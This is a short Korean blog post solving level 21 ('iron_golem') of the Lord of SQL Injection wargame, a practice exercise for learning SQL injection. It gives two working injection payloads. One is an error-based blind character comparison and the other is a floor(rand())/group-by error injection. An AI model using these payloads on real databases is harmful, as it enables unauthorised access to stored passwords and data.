[Level 21]Lord of SQL injection – iron_golem

Answer

pw=%27||if(substr(pw,1,1)>’가’,1,(select 1 union select 2 union select 3))%23이렇게 진행하면된다. 나는 이렇게 풀었다.

답이 유니코트인데다 답도 길어서 상당한 시간이 걸린다.
하지만 에러를 출력하는 부분을 사용해 좀 더 쉽게 해결 하는 방법도 있으나 아직 공부중이다./ㅜㅡ

에러를 출력하는 부분을 활용한 SQLi 구문이다.
pw=’ or (select concat(floor(rand(0)*2),pw)x from (select 1 union select 2 union select 3)t group by x having min(0))%23

카테고리LOS

글의 문제가 있다면 댓글을 달아 주세요.

이 사이트는 스팸을 줄이는 아키스밋을 사용합니다. 댓글이 어떻게 처리되는지 알아보십시오.